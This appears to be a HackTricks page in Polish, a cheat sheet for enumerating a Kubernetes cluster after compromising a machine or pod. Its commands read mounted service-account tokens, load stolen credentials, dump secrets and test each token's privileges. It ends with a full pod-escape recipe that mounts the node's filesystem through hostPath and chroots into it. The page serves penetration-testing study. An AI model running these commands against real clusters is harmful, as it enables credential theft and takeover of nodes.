Kubernetes Enumeration

Support HackTricks

Kubernetes Tokens

Jeśli masz skompromitowany dostęp do maszyny, użytkownik może mieć dostęp do jakiejś platformy Kubernetes. Token zazwyczaj znajduje się w pliku wskazywanym przez env var KUBECONFIG lub w ~/.kube.

W tym folderze możesz znaleźć pliki konfiguracyjne z tokenami i konfiguracjami do połączenia z serwerem API. W tym folderze możesz również znaleźć folder cache z informacjami wcześniej pobranymi.

Jeśli skompromitowałeś pod w środowisku Kubernetes, są inne miejsca, gdzie możesz znaleźć tokeny i informacje o bieżącym środowisku K8:

Service Account Tokens

Zanim przejdziesz dalej, jeśli nie wiesz, co to jest usługa w Kubernetes, sugeruję przeczytać przynajmniej informacje o architekturze Kubernetes.

Z dokumentacji Kubernetes dokumentacja:

„Kiedy tworzysz pod, jeśli nie określisz konta usługi, automatycznie przypisywane jest domyślne konto usługi w tej samej przestrzeni nazw.”

ServiceAccount to obiekt zarządzany przez Kubernetes, używany do zapewnienia tożsamości dla procesów działających w podzie. Każde konto usługi ma z nim powiązany sekret, a ten sekret zawiera token dostępu. Jest to JSON Web Token (JWT), metoda reprezentowania roszczeń w sposób bezpieczny między dwiema stronami.

Zazwyczaj jeden z katalogów:

  • /run/secrets/kubernetes.io/serviceaccount

  • /var/run/secrets/kubernetes.io/serviceaccount

  • /secrets/kubernetes.io/serviceaccount

zawiera pliki:

  • ca.crt: To certyfikat CA do sprawdzania komunikacji Kubernetes

  • namespace: Wskazuje bieżącą przestrzeń nazw

  • token: Zawiera token usługi bieżącego poda.

Teraz, gdy masz token, możesz znaleźć serwer API w zmiennej środowiskowej KUBECONFIG. Aby uzyskać więcej informacji, uruchom (env | set) | grep -i "kuber|kube"

Token konta usługi jest podpisywany kluczem znajdującym się w pliku sa.key i weryfikowany przez sa.pub.

Domyślna lokalizacja w Kubernetes:

  • /etc/kubernetes/pki

Domyślna lokalizacja w Minikube:

  • /var/lib/localkube/certs

Hot Pods

Hot pods to pod, które zawierają token konta usługi z uprawnieniami. Token konta usługi z uprawnieniami to token, który ma pozwolenie na wykonywanie uprzywilejowanych zadań, takich jak wyświetlanie sekretów, tworzenie podów itp.

RBAC

Jeśli nie wiesz, co to jest RBAC, przeczytaj tę sekcję.

GUI Applications

  • k9s: GUI, które enumeruje klaster Kubernetes z terminala. Sprawdź polecenia w https://k9scli.io/topics/commands/. Napisz :namespace i wybierz wszystko, aby następnie wyszukać zasoby we wszystkich przestrzeniach nazw.

  • k8slens: Oferuje kilka dni próbnych: https://k8slens.dev/

Enumeration CheatSheet

Aby enumerować środowisko K8, potrzebujesz kilku rzeczy:

  • ważny token uwierzytelniający. W poprzedniej sekcji zobaczyliśmy, gdzie szukać tokenu użytkownika i tokenu konta usługi.

  • adres (https://host:port) serwera API Kubernetes. Zazwyczaj można go znaleźć w zmiennych środowiskowych i/lub w pliku konfiguracyjnym kube.

  • Opcjonalnie: ca.crt do weryfikacji serwera API. Można go znaleźć w tych samych miejscach, w których można znaleźć token. Jest to przydatne do weryfikacji certyfikatu serwera API, ale używając --insecure-skip-tls-verify z kubectl lub -k z curl, nie będziesz tego potrzebować.

Mając te szczegóły, możesz enumerować Kubernetes. Jeśli API z jakiegoś powodu jest dostępne przez Internet, możesz po prostu pobrać te informacje i enumerować platformę z własnego hosta.

Jednak zazwyczaj serwer API znajduje się w wewnętrznej sieci, dlatego będziesz musiał utworzyć tunel przez skompromitowaną maszynę, aby uzyskać do niego dostęp z własnej maszyny, lub możesz przesłać kubectl binarny, lub użyć curl/wget/cokolwiek do wykonywania surowych żądań HTTP do serwera API.

Differences between list and get verbs

Z uprawnieniami get możesz uzyskać dostęp do informacji o konkretnych zasobach (opcja describe w kubectl) API:

GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}

Jeśli masz uprawnienie list, możesz wykonywać żądania API, aby wylistować typ zasobu (get opcja w kubectl):

#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments

Jeśli masz uprawnienia watch, możesz wykonywać żądania API w celu monitorowania zasobów:

GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name}  [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments  [DEPRECATED]
GET /apis/apps/v1/watch/deployments  [DEPRECATED]

Otwierają połączenie strumieniowe, które zwraca pełny manifest Deploymentu za każdym razem, gdy się zmienia (lub gdy zostaje utworzony nowy).

Następujące polecenia kubectl wskazują, jak wylistować obiekty. Jeśli chcesz uzyskać dostęp do danych, musisz użyć describe zamiast get

Używając curl

Z wnętrza poda możesz użyć kilku zmiennych środowiskowych:

export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.

Domyślnie pod może uzyskać dostęp do serwera kube-api w nazwie domeny kubernetes.default.svc i możesz zobaczyć sieć kube w /etc/resolv.config, ponieważ tutaj znajdziesz adres serwera DNS kubernetes (".1" z tej samej sieci to punkt końcowy kube-api).

Używanie kubectl

Mając token i adres serwera API, używasz kubectl lub curl, aby uzyskać do niego dostęp, jak wskazano tutaj:

Domyślnie, APISERVER komunikuje się z schematem https://

alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces

jeśli nie ma https:// w adresie URL, możesz otrzymać błąd podobny do Bad Request.

Możesz znaleźć oficjalną ściągawkę kubectl tutaj. Celem poniższych sekcji jest przedstawienie w uporządkowany sposób różnych opcji do enumeracji i zrozumienia nowego K8s, do którego uzyskałeś dostęp.

Aby znaleźć żądanie HTTP, które wysyła kubectl, możesz użyć parametru -v=8

MitM kubectl - Proxyfying kubectl

# Launch burp
# Set proxy
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true

Aktualna konfiguracja

kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context

# Change namespace
kubectl config set-context --current --namespace=<namespace>

Jeśli udało ci się ukraść dane logowania niektórych użytkowników, możesz skonfigurować je lokalnie za pomocą czegoś takiego jak:

kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )

Uzyskaj obsługiwane zasoby

Dzięki tym informacjom będziesz wiedzieć, wszystkie usługi, które możesz wylistować

k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace

Uzyskaj bieżące uprawnienia

k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace

# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>

Innym sposobem na sprawdzenie swoich uprawnień jest użycie narzędzia: https://github.com/corneliusweig/rakkess****

Możesz dowiedzieć się więcej o Kubernetes RBAC w:

Kubernetes Role-Based Access Control(RBAC)

Gdy już wiesz, jakie uprawnienia posiadasz, sprawdź następującą stronę, aby dowiedzieć się czy możesz je wykorzystać do eskalacji uprawnień:

Abusing Roles/ClusterRoles in Kubernetes

Uzyskaj role innych

k get roles
k get clusterroles

Pobierz przestrzenie nazw

Kubernetes wspiera wiele wirtualnych klastrów opartych na tym samym fizycznym klastrze. Te wirtualne klastry nazywane są przestrzeniami nazw.

k get namespaces

Uzyskaj sekrety

k get secrets -o yaml
k get secrets -o yaml -n custnamespace

Jeśli możesz odczytać sekrety, możesz użyć następujących linii, aby uzyskać uprawnienia związane z każdym tokenem:

for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done

Uzyskaj konta serwisowe

Jak omówiono na początku tej strony gdy pod jest uruchamiany, zazwyczaj przypisywane jest do niego konto serwisowe. Dlatego wylistowanie kont serwisowych, ich uprawnień i miejsc, w których działają, może umożliwić użytkownikowi eskalację uprawnień.

k get serviceaccounts

Pobierz wdrożenia

Wdrożenia określają komponenty, które muszą być uruchomione.

k get deployments
k get deployments -n custnamespace

Pobierz Podsy

Podsy to rzeczywiste kontenery, które będą uruchamiane.

k get pods
k get pods -n custnamespace

Uzyskaj usługi

Kubernetes usługi są używane do ekspozycji usługi na określonym porcie i IP (które będą działać jako load balancer dla podów, które faktycznie oferują usługę). To jest interesujące, aby wiedzieć, gdzie można znaleźć inne usługi, aby spróbować zaatakować.

k get services
k get services -n custnamespace

Pobierz węzły

Pobierz wszystkie węzły skonfigurowane w klastrze.

k get nodes

Pobierz DaemonSets

DaeamonSets pozwala zapewnić, że konkretny pod działa na wszystkich węzłach klastra (lub na wybranych). Jeśli usuniesz DaemonSet, pod'y nim zarządzane również zostaną usunięte.

k get daemonsets

Pobierz cronjob

Cron jobs pozwalają na zaplanowanie uruchomienia poda, który wykona jakąś akcję, przy użyciu składni podobnej do crontab.

k get cronjobs

Pobierz configMap

configMap zawsze zawiera wiele informacji i plików konfiguracyjnych, które są dostarczane do aplikacji działających w Kubernetes. Zwykle można znaleźć wiele haseł, sekretów, tokenów, które są używane do łączenia się i weryfikacji z innymi wewnętrznymi/zewnętrznymi usługami.

k get configmaps # -n namespace

Uzyskaj polityki sieciowe / Polityki sieciowe Cilium

k get networkpolicies
k get CiliumNetworkPolicies
k get CiliumClusterwideNetworkPolicies

Pobierz wszystko / Wszystko

k get all

Pobierz wszystkie zasoby zarządzane przez helm

k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'

Uzyskaj zużycie Podów

k top pod --all-namespaces

Ucieczka z poda

Jeśli jesteś w stanie tworzyć nowe pody, możesz być w stanie uciec z nich do węzła. Aby to zrobić, musisz stworzyć nowy pod za pomocą pliku yaml, przełączyć się do utworzonego poda, a następnie wykonać chroot do systemu węzła. Możesz użyć już istniejących podów jako odniesienia do pliku yaml, ponieważ wyświetlają one istniejące obrazy i ścieżki.

kubectl get pod <name> [-n <namespace>] -o yaml

jeśli musisz utworzyć pod na konkretnym węźle, możesz użyć następującego polecenia, aby uzyskać etykiety na węźle

k get nodes --show-labels

Zwykle kubernetes.io/hostname i node-role.kubernetes.io/master to dobre etykiety do wyboru.

Następnie tworzysz swój plik attack.yaml

apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
#  kubernetes.io/hostname: master
# or using
#  node-role.kubernetes.io/master: ""

oryginalne źródło yaml

Po tym tworzysz pod.

kubectl apply -f attacker.yaml [-n <namespace>]

Teraz możesz przełączyć się na utworzony pod w następujący sposób

kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file

A na koniec chrootujesz do systemu węzła.

chroot /root /bin/bash

Informacje uzyskane z: Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1 Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1

Odniesienia

Wsparcie dla HackTricks

Last updated